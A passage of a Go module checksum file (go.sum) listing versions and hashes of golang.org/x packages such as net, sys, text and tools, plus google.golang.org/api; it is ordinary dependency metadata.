h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=\ngolang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=\ngolang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=\ngolang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=\ngolang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=\ngolang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=\ngolang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=\ngolang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=\ngolang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY=\ngolang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=\ngolang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc=\ngolang.org/x/net v0.49.0 h1:eeHFmOGUTtaaPSGNmjBKpbng9MulQsJURQUAfUwY++o=\ngolang.org/x/net v0.49.0/go.mod h1:/ysNB2EvaqvesRkuLAyjI1ycPZlQHM3q01F02UY/MV8=\ngolang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=\ngolang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20190402181905-9f3314589c9a/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=\ngolang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc=\ngolang.org/x/oauth2 v0.27.0 h1:da9Vo7/tDv5RH/7nZDz1eMGS/q1Vv1N/7FCrBhI9I3M=\ngolang.org/x/oauth2 v0.27.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8=\ngolang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=\ngolang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=\ngolang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=\ngolang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=\ngolang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=\ngolang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=\ngolang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc=\ngolang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=\ngolang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=\ngolang.org/x/term v0.40.0 h1:36e4zGLqU4yhjlmxEaagx2KuYbJq3EwY8K943ZsHcvg=\ngolang.org/x/term v0.40.0/go.mod h1:w2P8uVp06p2iyKKuvXIm7N/y0UCRt3UfJTfZ7oOpglM=\ngolang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=\ngolang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=\ngolang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=\ngolang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=\ngolang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=\ngolang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk=\ngolang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA=\ngolang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=\ngolang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=\ngolang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=\ngolang.org/x/time v0.8.0 h1:9i3RxcPv3PZnitoVGMPDKZSq1xW1gK1Xy3ArNOGZfEg=\ngolang.org/x/time v0.8.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=\ngolang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=\ngolang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=\ngolang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=\ngolang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=\ngolang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=\ngolang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=\ngolang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=\ngolang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=\ngolang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=\ngolang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=\ngolang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=\ngolang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=\ngolang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8=\ngolang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=\ngolang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=\ngolang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=\ngolang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=\ngolang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=\ngolang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=\ngolang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=\ngolang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=\ngolang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=\ngolang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=\ngolang.org/x/tools v0.41.0 h1:a9b8iMweWG+S0OBnlU36rzLp20z1Rp10w+IY2czHTQc=\ngolang.org/x/tools v0.41.0/go.mod h1:XSY6eDqxVNiYgezAVqqCeihT4j1U2CCsqvH3WhQpnlg=\ngolang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngoogle.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=\ngoogle.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=\ngoogle.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=\ngoogle.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=\ngoogle.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=\ngoogle.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=\ngoogle.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=\ngoogle.golang.org/api v0.17.0/go.mod 